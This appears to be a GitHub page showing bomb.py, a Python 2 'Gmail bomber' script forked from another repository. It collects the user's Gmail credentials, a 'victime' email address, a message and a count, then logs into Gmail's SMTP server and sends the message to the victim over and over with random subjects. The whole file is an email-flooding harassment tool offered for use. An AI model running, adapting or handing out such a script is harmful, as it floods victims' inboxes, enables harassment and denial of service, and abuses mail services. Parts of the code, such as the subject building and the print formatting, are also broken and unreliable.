forked from ArnabXD/GmailBomber
-
Notifications
You must be signed in to change notification settings - Fork 1
/
bomb.py
61 lines (58 loc) · 2.52 KB
/
bomb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding: utf-8 -*-
# =========================================================================================================================================
import os
import random
import smtplib
import sys
import getpass
import time
# ======================= HEADING ================================================================================================
os.system('clear')
print ('''
_ __ ___
| | / / |__ \
| |/ / __ _ _ __ _ __ ___ __ _ ) |
| \ / _` | '__| '_ ` _ \ / _` | / /
| |\ \ (_| | | | | | | | | (_| | |_|
\_| \_/\__,_|_| |_| |_| |_|\__,_| (_)
By \033[93m@ARNAB431\033[97m
''')
print(" ")
######################### USER INFO ##########################
user = raw_input('\033[94m[?] \033[97mYour \033[92mGmail\033[97m :\033[93m ')
passworde = getpass.getpass('\033[94m[?]\033[97m Your \033[91mPassword\033[97m :\033[93m ')
print(" ")
victime = raw_input('\033[94m[?]\033[97m The victime \033[91mEMAIL\033[97m : \033[93m')
message = raw_input('\033[94m[?]\033[97m Your \033[92mMessage\033[97m : \033[93m')
print(" ")
hani = input('\033[94m[?] \033[97mNumber of \033[92msend\033[97m : \033[93m')
print(" ")
print("\033[94m[*] \033[97mSending : ")
############################### SMTP_SERVER INFO ##################
smtp_server = 'smtp.gmail.com'
port = 587
########################## Login ############################
try:
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
if smtp_server == "smtp.gmail.com":
server.starttls()
server.login(user,passworde)
###################### SENDING #########################################
for i in range(1, hani+1):
subject = os.urandom(9)
msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + message
server.sendmail(user,victime,msg)
print ("\033[94m[✔]\033[97m Email \033[92mSENT\033[97m :\033[93m %i") % i
sys.stdout.flush()
server.quit()
print ('\033[93m[✔]\033[97m All \033[97mMessage was\033[92m sent\033[97m ')
except KeyboardInterrupt:
print ('[✘] Canceled')
sys.exit()
except smtplib.SMTPAuthenticationError:
print(" ")
print("\033[94m[✘] \033[91mError \033[97m:")
print ('\033[94m[✘] \033[97mThe \033[93musername \033[97mor \033[93mpassword \033[97myou entered is incorrect.')
print ("\033[94m[!] \033[97mCheck if the Options of 'Applications are less secure' is enabled\nCheck at https://myaccount.google.com/lesssecureapps")
sys.exit()